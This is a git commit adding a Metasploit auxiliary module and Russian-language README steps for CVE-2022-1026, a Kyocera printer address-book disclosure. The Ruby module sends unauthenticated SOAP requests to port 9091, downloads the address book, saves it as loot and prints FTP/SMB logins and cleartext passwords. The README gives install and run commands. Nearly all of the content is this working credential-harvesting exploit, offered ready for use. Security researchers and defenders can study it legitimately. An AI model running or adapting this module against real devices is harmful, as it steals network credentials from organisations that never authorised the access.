add msfconsole script
This commit is contained in:
20
README.md
20
README.md
@@ -35,6 +35,26 @@ python3 getKyoceraCreds.py 10.0.0.10 -o result.txt
|
|||||||
(имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются
|
(имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются
|
||||||
в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл.
|
в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл.
|
||||||
|
|
||||||
|
## Metasploit module
|
||||||
|
|
||||||
|
Файл `kyocera_address_book.rb` содержит вспомогательный модуль Metasploit,
|
||||||
|
повторяющий логику исходного скрипта. Чтобы воспользоваться им, поместите файл в
|
||||||
|
`modules/auxiliary/gather/` и загрузите в `msfconsole`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Быстрая установка через curl (Linux/macOS)
|
||||||
|
mkdir -p ~/.msf4/modules/auxiliary/gather/
|
||||||
|
curl -sL https://raw.githubusercontent.com/krolchonok/getKyoceraCreds.py/main/kyocera_address_book.rb -o ~/.msf4/modules/auxiliary/gather/kyocera_address_book.rb
|
||||||
|
|
||||||
|
# Или вручную
|
||||||
|
cp kyocera_address_book.rb $MSF_ROOT/modules/auxiliary/gather/
|
||||||
|
msfconsole -q
|
||||||
|
use auxiliary/gather/kyocera_address_book
|
||||||
|
set RHOSTS 10.0.0.10
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
Модуль автоматически создаёт экспорт адресной книги через SOAP, ждёт его готовности,
|
||||||
|
загружает результат, сохраняет XML в loot и выводит найденные учётные данные или
|
||||||
|
распарсенные записи адресной книги.
|
||||||
|
|
||||||
|
|||||||
214
kyocera_address_book.rb
Normal file
214
kyocera_address_book.rb
Normal file
@@ -0,0 +1,214 @@
|
|||||||
|
# frozen_string_literal: true
|
||||||
|
|
||||||
|
# Kyocera address book credential extraction for Metasploit
|
||||||
|
#
|
||||||
|
# This module recreates the behavior of the standalone getKyoceraCreds.py script
|
||||||
|
# and allows operators to run it directly inside msfconsole.
|
||||||
|
#
|
||||||
|
# References:
|
||||||
|
# * CVE-2022-1026
|
||||||
|
# * https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rexml/document'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Kyocera Address Book Disclosure (MSF)',
|
||||||
|
'Description' => %q{
|
||||||
|
Extracts sensitive information (email addresses, SMB/FTP credentials) from
|
||||||
|
vulnerable Kyocera MFPs via the unauthenticated SOAP interface on TCP/9091.
|
||||||
|
The module mirrors the original getKyoceraCreds.py proof of concept and
|
||||||
|
retrieves the full address book, highlighting cleartext credentials when
|
||||||
|
present.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'ushastoe',
|
||||||
|
'Aaron Herndon',
|
||||||
|
'ac3lives',
|
||||||
|
'fatalesp',
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2022-1026'],
|
||||||
|
['URL', 'https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DefaultOptions' => { 'SSL' => true }
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(9091),
|
||||||
|
OptString.new('TARGETURI', [true, 'SOAP endpoint', '/ws/km-wsdl/setting/address_book']),
|
||||||
|
OptInt.new('WAIT', [true, 'Seconds to wait for address book creation', 5])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
vprint_status("Connecting to #{ip}:#{rport} ...")
|
||||||
|
enumeration = request_enumeration
|
||||||
|
return unless enumeration
|
||||||
|
|
||||||
|
sleep datastore['WAIT']
|
||||||
|
request_address_book(enumeration)
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def soap_body(action, payload)
|
||||||
|
<<~XML
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book">
|
||||||
|
<SOAP-ENV:Header>
|
||||||
|
<wsa:Action SOAP-ENV:mustUnderstand="true">#{action}</wsa:Action>
|
||||||
|
</SOAP-ENV:Header>
|
||||||
|
<SOAP-ENV:Body>#{payload}</SOAP-ENV:Body>
|
||||||
|
</SOAP-ENV:Envelope>
|
||||||
|
XML
|
||||||
|
end
|
||||||
|
|
||||||
|
def request_enumeration
|
||||||
|
action = 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration'
|
||||||
|
payload = '<ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest>'
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri),
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'application/soap+xml',
|
||||||
|
'data' => soap_body(action, payload)
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res&.code == 200
|
||||||
|
print_error("#{peer} - Unexpected response when requesting enumeration (HTTP #{res&.code || 'No Response'})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
enumeration = res.body.to_s[/<[^>]*enumeration>([^<]+)<\/[^>]*enumeration>/, 1]
|
||||||
|
unless enumeration
|
||||||
|
print_error("#{peer} - Failed to parse enumeration token from response")
|
||||||
|
vprint_error(res.body)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Received address book object #{enumeration}; waiting for generation")
|
||||||
|
enumeration
|
||||||
|
end
|
||||||
|
|
||||||
|
def request_address_book(enumeration)
|
||||||
|
action = 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list'
|
||||||
|
payload = "<ns1:get_personal_address_listRequest><ns1:enumeration>#{enumeration}</ns1:enumeration></ns1:get_personal_address_listRequest>"
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri),
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'application/soap+xml',
|
||||||
|
'data' => soap_body(action, payload)
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res&.code == 200
|
||||||
|
print_error("#{peer} - Failed to retrieve address book (HTTP #{res&.code || 'No Response'})")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
doc = res.get_xml_document
|
||||||
|
unless doc
|
||||||
|
print_error("#{peer} - Unable to parse XML body from address book response")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Drop namespaces so we can use concise XPath lookups
|
||||||
|
doc.remove_namespaces!
|
||||||
|
|
||||||
|
store_loot('kyocera.address_book.xml', 'text/xml', rhost, res.body, 'address_book.xml', 'Kyocera address book SOAP response')
|
||||||
|
report_results(doc)
|
||||||
|
end
|
||||||
|
|
||||||
|
def credential_entries(doc)
|
||||||
|
interesting = %w[login_name user_name login_password email_address emailaddress]
|
||||||
|
entries = []
|
||||||
|
|
||||||
|
doc.xpath('//*').each do |element|
|
||||||
|
data = {}
|
||||||
|
element.element_children.each do |child|
|
||||||
|
key = child.name
|
||||||
|
next unless interesting.include?(key)
|
||||||
|
|
||||||
|
data[key] = child.text&.strip
|
||||||
|
end
|
||||||
|
entries << data unless data.empty?
|
||||||
|
end
|
||||||
|
|
||||||
|
entries
|
||||||
|
end
|
||||||
|
|
||||||
|
def text_at(element, path)
|
||||||
|
element.at_xpath(path)&.text&.strip
|
||||||
|
end
|
||||||
|
|
||||||
|
def parsed_addresses(doc)
|
||||||
|
addresses = []
|
||||||
|
doc.xpath('//personal_address').each do |addr|
|
||||||
|
addresses << {
|
||||||
|
id: text_at(addr, 'name_information/id'),
|
||||||
|
name: text_at(addr, 'name_information/name'),
|
||||||
|
furigana: text_at(addr, 'name_information/furigana'),
|
||||||
|
email: text_at(addr, 'email_information/address'),
|
||||||
|
ftp_server: text_at(addr, 'ftp_information/server_name'),
|
||||||
|
ftp_port: text_at(addr, 'ftp_information/port_number'),
|
||||||
|
ftp_login: text_at(addr, 'ftp_information/login_name') || text_at(addr, 'ftp_information/user_name'),
|
||||||
|
ftp_password: text_at(addr, 'ftp_information/login_password'),
|
||||||
|
smb_server: text_at(addr, 'smb_information/server_name'),
|
||||||
|
smb_port: text_at(addr, 'smb_information/port_number'),
|
||||||
|
smb_login: text_at(addr, 'smb_information/login_name') || text_at(addr, 'smb_information/user_name'),
|
||||||
|
smb_password: text_at(addr, 'smb_information/login_password')
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
addresses.reject { |entry| entry.values.all?(&:nil?) }
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_results(doc)
|
||||||
|
entries = credential_entries(doc)
|
||||||
|
if entries.any?
|
||||||
|
print_good("#{peer} - Found #{entries.length} credential-containing entries")
|
||||||
|
entries.each_with_index do |entry, idx|
|
||||||
|
print_good(" [Entry #{idx + 1}]")
|
||||||
|
entry.each do |key, value|
|
||||||
|
next unless value
|
||||||
|
|
||||||
|
label = key.downcase.include?('password') ? "#{key}: #{highlight_password(value)}" : "#{key}: #{value}"
|
||||||
|
print_good(" #{label}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
addresses = parsed_addresses(doc)
|
||||||
|
return unless addresses.any?
|
||||||
|
|
||||||
|
if entries.empty?
|
||||||
|
print_status("#{peer} - No explicit credentials found; displaying parsed address book entries")
|
||||||
|
end
|
||||||
|
|
||||||
|
addresses.each_with_index do |addr, idx|
|
||||||
|
print_status(" [Contact #{idx + 1}]")
|
||||||
|
addr.each do |key, value|
|
||||||
|
next if value.nil? || value.empty?
|
||||||
|
|
||||||
|
label = key.to_s.downcase.include?('password') ? "#{key}: #{highlight_password(value)}" : "#{key}: #{value}"
|
||||||
|
print_status(" #{label}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def highlight_password(value)
|
||||||
|
datastore['ConsoleDriver'] ? "\e[91m!! ПАРОЛЬ: #{value} !!\e[0m" : "!! ПАРОЛЬ: #{value} !!"
|
||||||
|
end
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user